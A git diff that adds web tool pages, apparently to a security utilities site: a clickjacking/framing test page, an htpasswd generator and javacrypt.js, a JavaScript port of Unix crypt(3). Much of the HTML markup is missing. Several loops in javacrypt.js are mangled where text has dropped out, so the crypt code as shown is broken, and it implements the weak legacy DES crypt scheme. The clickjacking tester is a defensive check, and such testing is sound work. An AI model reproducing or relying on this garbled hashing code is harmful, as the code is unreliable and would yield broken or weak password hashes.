p=this._finalizers;if(p){this._finalizers=null;try{for(var m=Ee(p),d=m.next();!d.done;d=m.next()){var h=d.value;try{ln(h)}catch(v){i=i!=null?i:[],v instanceof It?i=D(D([],W(i)),W(v.errors)):i.push(v)}}}catch(v){n={error:v}}finally{try{d&&!d.done&&(o=m.return)&&o.call(m)}finally{if(n)throw n.error}}}if(i)throw new It(i)}},e.prototype.add=function(t){var r;if(t&&t!==this)if(this.closed)ln(t);else{if(t instanceof e){if(t.closed||t._hasParent(this))return;t._addParent(this)}(this._finalizers=(r=this._finalizers)!==null&&r!==void 0?r:[]).push(t)}},e.prototype._hasParent=function(t){var r=this._parentage;return r===t||Array.isArray(r)&&r.includes(t)},e.prototype._addParent=function(t){var r=this._parentage;this._parentage=Array.isArray(r)?(r.push(t),r):r?[r,t]:t},e.prototype._removeParent=function(t){var r=this._parentage;r===t?this._parentage=null:Array.isArray(r)&&Ve(r,t)},e.prototype.remove=function(t){var r=this._finalizers;r&&Ve(r,t),t instanceof e&&t._removeParent(this)},e.EMPTY=function(){var t=new e;return t.closed=!0,t}(),e}();var Sr=Ie.EMPTY;function jt(e){return e instanceof Ie||e&&"closed"in e&&C(e.remove)&&C(e.add)&&C(e.unsubscribe)}function ln(e){C(e)?e():e.unsubscribe()}var Le={onUnhandledError:null,onStoppedNotification:null,Promise:void 0,useDeprecatedSynchronousErrorHandling:!1,useDeprecatedNextContext:!1};var st={setTimeout:function(e,t){for(var r=[],n=2;n0},enumerable:!1,configurable:!0}),t.prototype._trySubscribe=function(r){return this._throwIfClosed(),e.prototype._trySubscribe.call(this,r)},t.prototype._subscribe=function(r){return this._throwIfClosed(),this._checkFinalizedStatuses(r),this._innerSubscribe(r)},t.prototype._innerSubscribe=function(r){var n=this,o=this,i=o.hasError,s=o.isStopped,a=o.observers;return i||s?Sr:(this.currentObservers=null,a.push(r),new Ie(function(){n.currentObservers=null,Ve(a,r)}))},t.prototype._checkFinalizedStatuses=function(r){var n=this,o=n.hasError,i=n.thrownError,s=n.isStopped;o?r.error(i):s&&r.complete()},t.prototype.asObservable=function(){var r=new F;return r.source=this,r},t.create=function(r,n){return new xn(r,n)},t}(F);var xn=function(e){ie(t,e);function t(r,n){var o=e.call(this)||this;return o.destination=r,o.source=n,o}return t.prototype.next=function(r){var n,o;(o=(n=this.destination)===null||n===void 0?void 0:n.next)===null||o===void 0||o.call(n,r)},t.prototype.error=function(r){var n,o;(o=(n=this.destination)===null||n===void 0?void 0:n.error)===null||o===void 0||o.call(n,r)},t.prototype.complete=function(){var r,n;(n=(r=this.destination)===null||r===void 0?void 0:r.complete)===null||n===void 0||n.call(r)},t.prototype._subscribe=function(r){var n,o;return(o=(n=this.source)===null||n===void 0?void 0:n.subscribe(r))!==null&&o!==void 0?o:Sr},t}(x);var Et={now:function(){return(Et.delegate||Date).now()},delegate:void 0};var wt=function(e){ie(t,e);function t(r,n,o){r===void 0&&(r=1/0),n===void 0&&(n=1/0),o===void 0&&(o=Et);var i=e.call(this)||this;return i._bufferSize=r,i._windowTime=n,i._timestampProvider=o,i._buffer=[],i._infiniteTimeWindow=!0,i._infiniteTimeWindow=n===1/0,i._bufferSize=Math.max(1,r),i._windowTime=Math.max(1,n),i}return t.prototype.next=function(r){var n=this,o=n.isStopped,i=n._buffer,s=n._infiniteTimeWindow,a=n._timestampProvider,f=n._windowTime;o||(i.push(r),!s&&i.push(a.now()+f)),this._trimBuffer(),e.prototype.next.call(this,r)},t.prototype._subscribe=function(r){this._throwIfClosed(),this._trimBuffer();for(var n=this._innerSubscribe(r),o=this,i=o._infiniteTimeWindow,s=o._buffer,a=s.slice(),f=0;f0?e.prototype.requestAsyncId.call(this,r,n,o):(r.actions.push(this),r._scheduled||(r._scheduled=ut.requestAnimationFrame(function(){return r.flush(void 0)})))},t.prototype.recycleAsyncId=function(r,n,o){var i;if(o===void 0&&(o=0),o!=null?o>0:this.delay>0)return e.prototype.recycleAsyncId.call(this,r,n,o);var s=r.actions;n!=null&&((i=s[s.length-1])===null||i===void 0?void 0:i.id)!==n&&(ut.cancelAnimationFrame(n),r._scheduled=void 0)},t}(Wt);var Sn=function(e){ie(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.flush=function(r){this._active=!0;var n=this._scheduled;this._scheduled=void 0;var o=this.actions,i;r=r||o.shift();do if(i=r.execute(r.state,r.delay))break;while((r=o[0])&&r.id===n&&o.shift());if(this._active=!1,i){for(;(r=o[0])&&r.id===n&&o.shift();)r.unsubscribe();throw i}},t}(Dt);var Oe=new Sn(wn);var M=new F(function(e){return e.complete()});function Vt(e){return e&&C(e.schedule)}function Cr(e){return e[e.length-1]}function Ye(e){return C(Cr(e))?e.pop():void 0}function Te(e){return Vt(Cr(e))?e.pop():void 0}function zt(e,t){return typeof Cr(e)=="number"?e.pop():t}var pt=function(e){return e&&typeof e.length=="number"&&typeof e!="function"};function Nt(e){return C(e==null?void 0:e.then)}function qt(e){return C(e[ft])}function Kt(e){return Symbol.asyncIterator&&C(e==null?void 0:e[Symbol.asyncIterator])}function Qt(e){return new TypeError("You provided "+(e!==null&&typeof e=="object"?"an invalid object":"'"+e+"'")+" where a stream was expected. You can provide an Observable, Promise, ReadableStream, Array, AsyncIterable, or Iterable.")}function zi(){return typeof Symbol!="function"||!Symbol.iterator?"@@iterator":Symbol.iterator}var Yt=zi();function Gt(e){return C(e==null?void 0:e[Yt])}function Bt(e){return un(this,arguments,function(){var r,n,o,i;return $t(this,function(s){switch(s.label){case 0:r=e.getReader(),s.label=1;case 1:s.trys.push([1,,9,10]),s.label=2;case 2:return[4,et(r.read())];case 3:return n=s.sent(),o=n.value,i=n.done,i?[4,et(void 0)]:[3,5];case 4:return[2,s.sent()];case 5:return[4,et(o)];case 6:return[4,s.sent()];case 7:return s.sent(),[3,2];case 8:return[3,10];case 9:return r.releaseLock(),[7];case 10:return[2]}})})}function Jt(e){return C(e==null?void 0:e.getReader)}function U(e){if(e instanceof F)return e;if(e!=null){if(qt(e))return Ni(e);if(pt(e))return qi(e);if(Nt(e))return Ki(e);if(Kt(e))return On(e);if(Gt(e))return Qi(e);if(Jt(e))return Yi(e)}throw Qt(e)}function Ni(e){return new F(function(t){var r=e[ft]();if(C(r.subscribe))return r.subscribe(t);throw new TypeError("Provided object does not correctly implement Symbol.observable")})}function qi(e){return new F(function(t){for(var r=0;r=2;return function(n){return n.pipe(e?A(function(o,i){return e(o,i,n)}):de,ge(1),r?He(t):Dn(function(){return new Zt}))}}function Vn(){for(var e=[],t=0;t=2,!0))}function pe(e){e===void 0&&(e={});var t=e.connector,r=t===void 0?function(){return new x}:t,n=e.resetOnError,o=n===void 0?!0:n,i=e.resetOnComplete,s=i===void 0?!0:i,a=e.resetOnRefCountZero,f=a===void 0?!0:a;return function(c){var u,p,m,d=0,h=!1,v=!1,Y=function(){p==null||p.unsubscribe(),p=void 0},B=function(){Y(),u=m=void 0,h=v=!1},N=function(){var O=u;B(),O==null||O.unsubscribe()};return y(function(O,Qe){d++,!v&&!h&&Y();var De=m=m!=null?m:r();Qe.add(function(){d--,d===0&&!v&&!h&&(p=$r(N,f))}),De.subscribe(Qe),!u&&d>0&&(u=new rt({next:function($e){return De.next($e)},error:function($e){v=!0,Y(),p=$r(B,o,$e),De.error($e)},complete:function(){h=!0,Y(),p=$r(B,s),De.complete()}}),U(O).subscribe(u))})(c)}}function $r(e,t){for(var r=[],n=2;ne.next(document)),e}function K(e,t=document){return Array.from(t.querySelectorAll(e))}function z(e,t=document){let r=ce(e,t);if(typeof r=="undefined")throw new ReferenceError(`Missing element: expected "${e}" to be present`);return r}function ce(e,t=document){return t.querySelector(e)||void 0}function _e(){return document.activeElement instanceof HTMLElement&&document.activeElement||void 0}function tr(e){return L(b(document.body,"focusin"),b(document.body,"focusout")).pipe(ke(1),l(()=>{let t=_e();return typeof t!="undefined"?e.contains(t):!1}),V(e===_e()),J())}function Xe(e){return{x:e.offsetLeft,y:e.offsetTop}}function Kn(e){return L(b(window,"load"),b(window,"resize")).pipe(Ce(0,Oe),l(()=>Xe(e)),V(Xe(e)))}function rr(e){return{x:e.scrollLeft,y:e.scrollTop}}function dt(e){return L(b(e,"scroll"),b(window,"resize")).pipe(Ce(0,Oe),l(()=>rr(e)),V(rr(e)))}var Yn=function(){if(typeof Map!="undefined")return Map;function e(t,r){var n=-1;return t.some(function(o,i){return o[0]===r?(n=i,!0):!1}),n}return function(){function t(){this.__entries__=[]}return Object.defineProperty(t.prototype,"size",{get:function(){return this.__entries__.length},enumerable:!0,configurable:!0}),t.prototype.get=function(r){var n=e(this.__entries__,r),o=this.__entries__[n];return o&&o[1]},t.prototype.set=function(r,n){var o=e(this.__entries__,r);~o?this.__entries__[o][1]=n:this.__entries__.push([r,n])},t.prototype.delete=function(r){var n=this.__entries__,o=e(n,r);~o&&n.splice(o,1)},t.prototype.has=function(r){return!!~e(this.__entries__,r)},t.prototype.clear=function(){this.__entries__.splice(0)},t.prototype.forEach=function(r,n){n===void 0&&(n=null);for(var o=0,i=this.__entries__;o0},e.prototype.connect_=function(){!Wr||this.connected_||(document.addEventListener("transitionend",this.onTransitionEnd_),window.addEventListener("resize",this.refresh),va?(this.mutationsObserver_=new MutationObserver(this.refresh),this.mutationsObserver_.observe(document,{attributes:!0,childList:!0,characterData:!0,subtree:!0})):(document.addEventListener("DOMSubtreeModified",this.refresh),this.mutationEventsAdded_=!0),this.connected_=!0)},e.prototype.disconnect_=function(){!Wr||!this.connected_||(document.removeEventListener("transitionend",this.onTransitionEnd_),window.removeEventListener("resize",this.refresh),this.mutationsObserver_&&this.mutationsObserver_.disconnect(),this.mutationEventsAdded_&&document.removeEventListener("DOMSubtreeModified",this.refresh),this.mutationsObserver_=null,this.mutationEventsAdded_=!1,this.connected_=!1)},e.prototype.onTransitionEnd_=function(t){var r=t.propertyName,n=r===void 0?"":r,o=ba.some(function(i){return!!~n.indexOf(i)});o&&this.refresh()},e.getInstance=function(){return this.instance_||(this.instance_=new e),this.instance_},e.instance_=null,e}(),Gn=function(e,t){for(var r=0,n=Object.keys(t);r0},e}(),Jn=typeof WeakMap!="undefined"?new WeakMap:new Yn,Xn=function(){function e(t){if(!(this instanceof e))throw new TypeError("Cannot call a class as a function.");if(!arguments.length)throw new TypeError("1 argument required, but only 0 present.");var r=ga.getInstance(),n=new La(t,r,this);Jn.set(this,n)}return e}();["observe","unobserve","disconnect"].forEach(function(e){Xn.prototype[e]=function(){var t;return(t=Jn.get(this))[e].apply(t,arguments)}});var Aa=function(){return typeof nr.ResizeObserver!="undefined"?nr.ResizeObserver:Xn}(),Zn=Aa;var eo=new x,Ca=$(()=>k(new Zn(e=>{for(let t of e)eo.next(t)}))).pipe(g(e=>L(ze,k(e)).pipe(R(()=>e.disconnect()))),X(1));function he(e){return{width:e.offsetWidth,height:e.offsetHeight}}function ye(e){return Ca.pipe(S(t=>t.observe(e)),g(t=>eo.pipe(A(({target:r})=>r===e),R(()=>t.unobserve(e)),l(()=>he(e)))),V(he(e)))}function bt(e){return{width:e.scrollWidth,height:e.scrollHeight}}function ar(e){let t=e.parentElement;for(;t&&(e.scrollWidth<=t.scrollWidth&&e.scrollHeight<=t.scrollHeight);)t=(e=t).parentElement;return t?e:void 0}var to=new x,Ra=$(()=>k(new IntersectionObserver(e=>{for(let t of e)to.next(t)},{threshold:0}))).pipe(g(e=>L(ze,k(e)).pipe(R(()=>e.disconnect()))),X(1));function sr(e){return Ra.pipe(S(t=>t.observe(e)),g(t=>to.pipe(A(({target:r})=>r===e),R(()=>t.unobserve(e)),l(({isIntersecting:r})=>r))))}function ro(e,t=16){return dt(e).pipe(l(({y:r})=>{let n=he(e),o=bt(e);return r>=o.height-n.height-t}),J())}var cr={drawer:z("[data-md-toggle=drawer]"),search:z("[data-md-toggle=search]")};function no(e){return cr[e].checked}function Ke(e,t){cr[e].checked!==t&&cr[e].click()}function Ue(e){let t=cr[e];return b(t,"change").pipe(l(()=>t.checked),V(t.checked))}function ka(e,t){switch(e.constructor){case HTMLInputElement:return e.type==="radio"?/^Arrow/.test(t):!0;case HTMLSelectElement:case HTMLTextAreaElement:return!0;default:return e.isContentEditable}}function Ha(){return L(b(window,"compositionstart").pipe(l(()=>!0)),b(window,"compositionend").pipe(l(()=>!1))).pipe(V(!1))}function oo(){let e=b(window,"keydown").pipe(A(t=>!(t.metaKey||t.ctrlKey)),l(t=>({mode:no("search")?"search":"global",type:t.key,claim(){t.preventDefault(),t.stopPropagation()}})),A(({mode:t,type:r})=>{if(t==="global"){let n=_e();if(typeof n!="undefined")return!ka(n,r)}return!0}),pe());return Ha().pipe(g(t=>t?M:e))}function le(){return new URL(location.href)}function ot(e){location.href=e.href}function io(){return new x}function ao(e,t){if(typeof t=="string"||typeof t=="number")e.innerHTML+=t.toString();else if(t instanceof Node)e.appendChild(t);else if(Array.isArray(t))for(let r of t)ao(e,r)}function _(e,t,...r){let n=document.createElement(e);if(t)for(let o of Object.keys(t))typeof t[o]!="undefined"&&(typeof t[o]!="boolean"?n.setAttribute(o,t[o]):n.setAttribute(o,""));for(let o of r)ao(n,o);return n}function fr(e){if(e>999){let t=+((e-950)%1e3>99);return`${((e+1e-6)/1e3).toFixed(t)}k`}else return e.toString()}function so(){return location.hash.substring(1)}function Dr(e){let t=_("a",{href:e});t.addEventListener("click",r=>r.stopPropagation()),t.click()}function Pa(e){return L(b(window,"hashchange"),e).pipe(l(so),V(so()),A(t=>t.length>0),X(1))}function co(e){return Pa(e).pipe(l(t=>ce(`[id="${t}"]`)),A(t=>typeof t!="undefined"))}function Vr(e){let t=matchMedia(e);return er(r=>t.addListener(()=>r(t.matches))).pipe(V(t.matches))}function fo(){let e=matchMedia("print");return L(b(window,"beforeprint").pipe(l(()=>!0)),b(window,"afterprint").pipe(l(()=>!1))).pipe(V(e.matches))}function zr(e,t){return e.pipe(g(r=>r?t():M))}function ur(e,t={credentials:"same-origin"}){return ue(fetch(`${e}`,t)).pipe(fe(()=>M),g(r=>r.status!==200?Ot(()=>new Error(r.statusText)):k(r)))}function We(e,t){return ur(e,t).pipe(g(r=>r.json()),X(1))}function uo(e,t){let r=new DOMParser;return ur(e,t).pipe(g(n=>n.text()),l(n=>r.parseFromString(n,"text/xml")),X(1))}function pr(e){let t=_("script",{src:e});return $(()=>(document.head.appendChild(t),L(b(t,"load"),b(t,"error").pipe(g(()=>Ot(()=>new ReferenceError(`Invalid script: ${e}`))))).pipe(l(()=>{}),R(()=>document.head.removeChild(t)),ge(1))))}function po(){return{x:Math.max(0,scrollX),y:Math.max(0,scrollY)}}function lo(){return L(b(window,"scroll",{passive:!0}),b(window,"resize",{passive:!0})).pipe(l(po),V(po()))}function mo(){return{width:innerWidth,height:innerHeight}}function ho(){return b(window,"resize",{passive:!0}).pipe(l(mo),V(mo()))}function bo(){return G([lo(),ho()]).pipe(l(([e,t])=>({offset:e,size:t})),X(1))}function lr(e,{viewport$:t,header$:r}){let n=t.pipe(ee("size")),o=G([n,r]).pipe(l(()=>Xe(e)));return G([r,t,o]).pipe(l(([{height:i},{offset:s,size:a},{x:f,y:c}])=>({offset:{x:s.x-f,y:s.y-c+i},size:a})))}(()=>{function e(n,o){parent.postMessage(n,o||"*")}function t(...n){return n.reduce((o,i)=>o.then(()=>new Promise(s=>{let a=document.createElement("script");a.src=i,a.onload=s,document.body.appendChild(a)})),Promise.resolve())}var r=class extends EventTarget{constructor(n){super(),this.url=n,this.m=i=>{i.source===this.w&&(this.dispatchEvent(new MessageEvent("message",{data:i.data})),this.onmessage&&this.onmessage(i))},this.e=(i,s,a,f,c)=>{if(s===`${this.url}`){let u=new ErrorEvent("error",{message:i,filename:s,lineno:a,colno:f,error:c});this.dispatchEvent(u),this.onerror&&this.onerror(u)}};let o=document.createElement("iframe");o.hidden=!0,document.body.appendChild(this.iframe=o),this.w.document.open(),this.w.document.write(` + + + +
+

Test a Page for Clickjacking/Framing Vulnerability

+

+
+
+ + Enter the URL to frame + +
+
+
+ +
+ + diff --git a/assets/pages/htpasswd-generator/index.html b/assets/pages/htpasswd-generator/index.html new file mode 100644 index 000000000..61b253ed9 --- /dev/null +++ b/assets/pages/htpasswd-generator/index.html @@ -0,0 +1,193 @@ + + + + + + + + htpasswd Generator + + + + + + + + +
+
+
+
+

Username :

+

Password :

+

+

+ Algorithm : + +

+

+ +

+

+ Copy and paste this line into your .htpasswd file
+ +

+
+
+
+
+ + diff --git a/assets/pages/htpasswd-generator/javacrypt.js b/assets/pages/htpasswd-generator/javacrypt.js new file mode 100644 index 000000000..581f874ca --- /dev/null +++ b/assets/pages/htpasswd-generator/javacrypt.js @@ -0,0 +1,521 @@ +// http://javascript.internet.com/passwords/unix-crypt(3)-encryption.html +/*************************************************************** + * * + * JAVACRYPT: CLIENT-SIDE crypt(3) USING JAVASCRIPT * + * * + *************************************************************** + * Original: Jeff Walden (Jswalden86@netzero.net ) * + * modified 2003 by François Pirsch * + * * + * This Javascript allows you to calculate the encrypted * + * password generated by the UNIX function crypt(3) on your * + * computer without using an online script in PHP, PERL, * + * shell, or any other server-side script. The only changes * + * you need make in this are in function dP(), which is right * + * below the end of this comment. Refer to the directions * + * there for details. * + * * + * I wish I could take full credit for this script, but there * + * are several people who deserve most of the credit * + * * + * First and foremost, I thank John F. Dumas for writing * + * jcrypt.java, a Java-based implementation of crypt(3) and * + * from which this Javascript is heavily based (actually, I * + * just did a direct port from his code, using Sun's tutorial * + * and my knowledge of Javascript). I additionally thank * + * Eric Young for writing the C code off which Dumas based * + * his script. Finally, thanks goes to the original writers * + * of crypt(3), whoever they are. * + * * + * If you have questions, I suggest you ask John Dumas about * + * them, as I have no real idea what any of this code does. * + * Base the questions off his source code, as Javascript and * + * Java are (in basic operators) nearly identical. * + * * + * jcrypt.java source code can be found at: * + * http://locutus.kingwoodcable.com/jfd/crypt.html * + * * + ***************************************************************/ + +function dP(pw, salt){ + pw_salt=this.crypt(salt, pw); + return pw_salt[0]; // L'élément 1 est le salt utilisé (que la fonction cript() limite à 2 caractères). +} + +function bTU(b){ + value=Math.floor(b); + return (value>=0?value:value+256); +} +function fBTI(b,offset){ + value=this.byteToUnsigned(b[offset++]); + value|=(this.byteToUnsigned(b[offset++])<<8); + value|=(this.byteToUnsigned(b[offset++])<<16); + value|=(this.byteToUnsigned(b[offset++])<<24); + return value; +} +function iTFB(iValue,b,offset){ + b[offset++]=((iValue)&0xff); + b[offset++]=((iValue>>>8)&0xff); + b[offset++]=((iValue>>>16)&0xff); + b[offset++]=((iValue>>>24)&0xff); +} +function P_P(a,b,n,m,results){ + t=((a>>>n)^b)&m; + a^=t<>>(16-n)); + return a; +} +function d_s_k(key){ + schedule=new Array(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0); + c=this.fourBytesToInt(key,0); + d=this.fourBytesToInt(key,4); + results=new Array(0,0); + this.PERM_OP(d,c,4,0x0f0f0f0f,results); + d=results[0];c=results[1]; + c=this.HPERM_OP(c,-2,0xcccc0000); + d=this.HPERM_OP(d,-2,0xcccc0000); + this.PERM_OP(d,c,1,0x55555555,results); + d=results[0];c=results[1]; + this.PERM_OP(c,d,8,0x00ff00ff,results); + c=results[0];d=results[1]; + this.PERM_OP(d,c,1,0x55555555,results); + d=results[0];c=results[1]; + d=(((d&0x000000ff)<<16)|(d&0x0000ff00)|((d&0x00ff0000)>>>16)|((c&0xf0000000)>>>4)); + c&=0x0fffffff; + s=0;t=0; + j=0; + for(i=0;i>>2)|(c<<26); + d=(d>>>2)|(d<<26); + }else{ + c=(c>>>1)|(c<<27); + d=(d>>>1)|(d<<27); + } + c&=0x0fffffff; + d&=0x0fffffff; + s=this.skb[0][c&0x3f]|this.skb[1][((c>>>6)&0x03)|((c>>>7)&0x3c)]|this.skb[2][((c>>>13)&0x0f)|((c>>>14)&0x30)]|this.skb[3][((c>>>20)&0x01)|((c>>>21)&0x06)|((c>>>22)&0x38)]; + t=this.skb[4][d&0x3f]|this.skb[5][((d>>>7)&0x03)|((d>>>8)&0x3c)]|this.skb[6][(d>>>15)&0x3f]|this.skb[7][((d>>>21)&0x0f)|((d>>>22)&0x30)]; + schedule[j++]=((t<< 16)|(s&0x0000ffff))&0xffffffff; + s=((s>>>16)|(t&0xffff0000)); + s=(s<<4)|(s>>>28); + schedule[j++]=s&0xffffffff; + } + return schedule; +} +function D_E(L,R,S,E0,E1,s){ + v=R^(R>>>16); + u=v&E0; + v=v&E1; + u=(u^(u<<16))^R^s[S]; + t=(v^(v<<16))^R^s[S+1]; + t=(t>>>4)|(t<<28); + L^=this.SPtrans[1][t&0x3f]|this.SPtrans[3][(t>>>8)&0x3f]|this.SPtrans[5][(t>>>16)&0x3f]|this.SPtrans[7][(t>>>24)&0x3f]|this.SPtrans[0][u&0x3f]|this.SPtrans[2][(u>>>8)&0x3f]|this.SPtrans[4][(u>>>16)&0x3f]|this.SPtrans[6][(u>>>24)&0x3f]; + return L; +} +function bdy(schedule,Eswap0,Eswap1) { + left=0; + right=0; + t=0; + for(j=0;j<25;j++){ + for(i=0;i>>1)|(left<<31); + left=(t>>>1)|(t<<31); + left&=0xffffffff; + right&=0xffffffff; + results=new Array(0,0); + this.PERM_OP(right,left,1,0x55555555,results); + right=results[0];left=results[1]; + this.PERM_OP(left,right,8,0x00ff00ff,results); + left=results[0];right=results[1]; + this.PERM_OP(right,left,2,0x33333333,results); + right=results[0];left=results[1]; + this.PERM_OP(left,right,16,0x0000ffff,results); + left=results[0];right=results[1]; + this.PERM_OP(right,left,4,0x0f0f0f0f,results); + right=results[0];left=results[1]; + out=new Array(0,0); + out[0]=left;out[1]=right; + return out; +} +function rC(){ return this.GOODCHARS[Math.floor(64*Math.random())]; } +function cript(salt,original){ + if(salt.length>=2) salt=salt.substring(0,2); + while(salt.length<2) salt+=this.randChar(); + re=new RegExp("[^./a-zA-Z0-9]","g"); + if(re.test(salt)) salt=this.randChar()+this.randChar(); + charZero=salt.charAt(0)+''; + charOne=salt.charAt(1)+''; + ccZ=charZero.charCodeAt(0); + ccO=charOne.charCodeAt(0); + buffer=charZero+charOne+" "; + Eswap0=this.con_salt[ccZ]; + Eswap1=this.con_salt[ccO]<<4; + key=new Array(0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0); + for(i=0;i>>=1; + if(u==0){ + y++; + u=0x80; + } + buffer=buffer.substring(0,i)+String.fromCharCode(this.cov_2char[c])+buffer.substring(i+1,buffer.length); + } + } + ret=new Array(buffer,salt); + return ret; +} + +function Crypt() { +this.ITERATIONS=16; +this.GOODCHARS=new Array( + ".","/","0","1","2","3","4","5","6","7", + "8","9","A","B","C","D","E","F","G","H", + "I","J","K","L","M","N","O","P","Q","R", + "S","T","U","V","W","X","Y","Z","a","b", + "c","d","e","f","g","h","i","j","k","l", + "m","n","o","p","q","r","s","t","u","v", + "w","x","y","z"); +this.con_salt=new Array( + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01, + 0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09, + 0x0A,0x0B,0x05,0x06,0x07,0x08,0x09,0x0A, + 0x0B,0x0C,0x0D,0x0E,0x0F,0x10,0x11,0x12, + 0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1A, + 0x1B,0x1C,0x1D,0x1E,0x1F,0x20,0x21,0x22, + 0x23,0x24,0x25,0x20,0x21,0x22,0x23,0x24, + 0x25,0x26,0x27,0x28,0x29,0x2A,0x2B,0x2C, + 0x2D,0x2E,0x2F,0x30,0x31,0x32,0x33,0x34, + 0x35,0x36,0x37,0x38,0x39,0x3A,0x3B,0x3C, + 0x3D,0x3E,0x3F,0x00,0x00,0x00,0x00,0x00 ); +this.shifts2=new Array( + false,false,true,true,true,true,true,true, + false,true, true,true,true,true,true,false ); +this.skb=new Array(0,0,0,0,0,0,0,0); + this.skb[0]=new Array( + 0x00000000,0x00000010,0x20000000,0x20000010, + 0x00010000,0x00010010,0x20010000,0x20010010, + 0x00000800,0x00000810,0x20000800,0x20000810, + 0x00010800,0x00010810,0x20010800,0x20010810, + 0x00000020,0x00000030,0x20000020,0x20000030, + 0x00010020,0x00010030,0x20010020,0x20010030, + 0x00000820,0x00000830,0x20000820,0x20000830, + 0x00010820,0x00010830,0x20010820,0x20010830, + 0x00080000,0x00080010,0x20080000,0x20080010, + 0x00090000,0x00090010,0x20090000,0x20090010, + 0x00080800,0x00080810,0x20080800,0x20080810, + 0x00090800,0x00090810,0x20090800,0x20090810, + 0x00080020,0x00080030,0x20080020,0x20080030, + 0x00090020,0x00090030,0x20090020,0x20090030, + 0x00080820,0x00080830,0x20080820,0x20080830, + 0x00090820,0x00090830,0x20090820,0x20090830 ); + this.skb[1]=new Array( + 0x00000000,0x02000000,0x00002000,0x02002000, + 0x00200000,0x02200000,0x00202000,0x02202000, + 0x00000004,0x02000004,0x00002004,0x02002004, + 0x00200004,0x02200004,0x00202004,0x02202004, + 0x00000400,0x02000400,0x00002400,0x02002400, + 0x00200400,0x02200400,0x00202400,0x02202400, + 0x00000404,0x02000404,0x00002404,0x02002404, + 0x00200404,0x02200404,0x00202404,0x02202404, + 0x10000000,0x12000000,0x10002000,0x12002000, + 0x10200000,0x12200000,0x10202000,0x12202000, + 0x10000004,0x12000004,0x10002004,0x12002004, + 0x10200004,0x12200004,0x10202004,0x12202004, + 0x10000400,0x12000400,0x10002400,0x12002400, + 0x10200400,0x12200400,0x10202400,0x12202400, + 0x10000404,0x12000404,0x10002404,0x12002404, + 0x10200404,0x12200404,0x10202404,0x12202404 ); + this.skb[2]=new Array( + 0x00000000,0x00000001,0x00040000,0x00040001, + 0x01000000,0x01000001,0x01040000,0x01040001, + 0x00000002,0x00000003,0x00040002,0x00040003, + 0x01000002,0x01000003,0x01040002,0x01040003, + 0x00000200,0x00000201,0x00040200,0x00040201, + 0x01000200,0x01000201,0x01040200,0x01040201, + 0x00000202,0x00000203,0x00040202,0x00040203, + 0x01000202,0x01000203,0x01040202,0x01040203, + 0x08000000,0x08000001,0x08040000,0x08040001, + 0x09000000,0x09000001,0x09040000,0x09040001, + 0x08000002,0x08000003,0x08040002,0x08040003, + 0x09000002,0x09000003,0x09040002,0x09040003, + 0x08000200,0x08000201,0x08040200,0x08040201, + 0x09000200,0x09000201,0x09040200,0x09040201, + 0x08000202,0x08000203,0x08040202,0x08040203, + 0x09000202,0x09000203,0x09040202,0x09040203 ); + this.skb[3]=new Array( + 0x00000000,0x00100000,0x00000100,0x00100100, + 0x00000008,0x00100008,0x00000108,0x00100108, + 0x00001000,0x00101000,0x00001100,0x00101100, + 0x00001008,0x00101008,0x00001108,0x00101108, + 0x04000000,0x04100000,0x04000100,0x04100100, + 0x04000008,0x04100008,0x04000108,0x04100108, + 0x04001000,0x04101000,0x04001100,0x04101100, + 0x04001008,0x04101008,0x04001108,0x04101108, + 0x00020000,0x00120000,0x00020100,0x00120100, + 0x00020008,0x00120008,0x00020108,0x00120108, + 0x00021000,0x00121000,0x00021100,0x00121100, + 0x00021008,0x00121008,0x00021108,0x00121108, + 0x04020000,0x04120000,0x04020100,0x04120100, + 0x04020008,0x04120008,0x04020108,0x04120108, + 0x04021000,0x04121000,0x04021100,0x04121100, + 0x04021008,0x04121008,0x04021108,0x04121108 ); + this.skb[4]=new Array( + 0x00000000,0x10000000,0x00010000,0x10010000, + 0x00000004,0x10000004,0x00010004,0x10010004, + 0x20000000,0x30000000,0x20010000,0x30010000, + 0x20000004,0x30000004,0x20010004,0x30010004, + 0x00100000,0x10100000,0x00110000,0x10110000, + 0x00100004,0x10100004,0x00110004,0x10110004, + 0x20100000,0x30100000,0x20110000,0x30110000, + 0x20100004,0x30100004,0x20110004,0x30110004, + 0x00001000,0x10001000,0x00011000,0x10011000, + 0x00001004,0x10001004,0x00011004,0x10011004, + 0x20001000,0x30001000,0x20011000,0x30011000, + 0x20001004,0x30001004,0x20011004,0x30011004, + 0x00101000,0x10101000,0x00111000,0x10111000, + 0x00101004,0x10101004,0x00111004,0x10111004, + 0x20101000,0x30101000,0x20111000,0x30111000, + 0x20101004,0x30101004,0x20111004,0x30111004 ); + this.skb[5]=new Array( + 0x00000000,0x08000000,0x00000008,0x08000008, + 0x00000400,0x08000400,0x00000408,0x08000408, + 0x00020000,0x08020000,0x00020008,0x08020008, + 0x00020400,0x08020400,0x00020408,0x08020408, + 0x00000001,0x08000001,0x00000009,0x08000009, + 0x00000401,0x08000401,0x00000409,0x08000409, + 0x00020001,0x08020001,0x00020009,0x08020009, + 0x00020401,0x08020401,0x00020409,0x08020409, + 0x02000000,0x0A000000,0x02000008,0x0A000008, + 0x02000400,0x0A000400,0x02000408,0x0A000408, + 0x02020000,0x0A020000,0x02020008,0x0A020008, + 0x02020400,0x0A020400,0x02020408,0x0A020408, + 0x02000001,0x0A000001,0x02000009,0x0A000009, + 0x02000401,0x0A000401,0x02000409,0x0A000409, + 0x02020001,0x0A020001,0x02020009,0x0A020009, + 0x02020401,0x0A020401,0x02020409,0x0A020409 ); + this.skb[6]=new Array( + 0x00000000,0x00000100,0x00080000,0x00080100, + 0x01000000,0x01000100,0x01080000,0x01080100, + 0x00000010,0x00000110,0x00080010,0x00080110, + 0x01000010,0x01000110,0x01080010,0x01080110, + 0x00200000,0x00200100,0x00280000,0x00280100, + 0x01200000,0x01200100,0x01280000,0x01280100, + 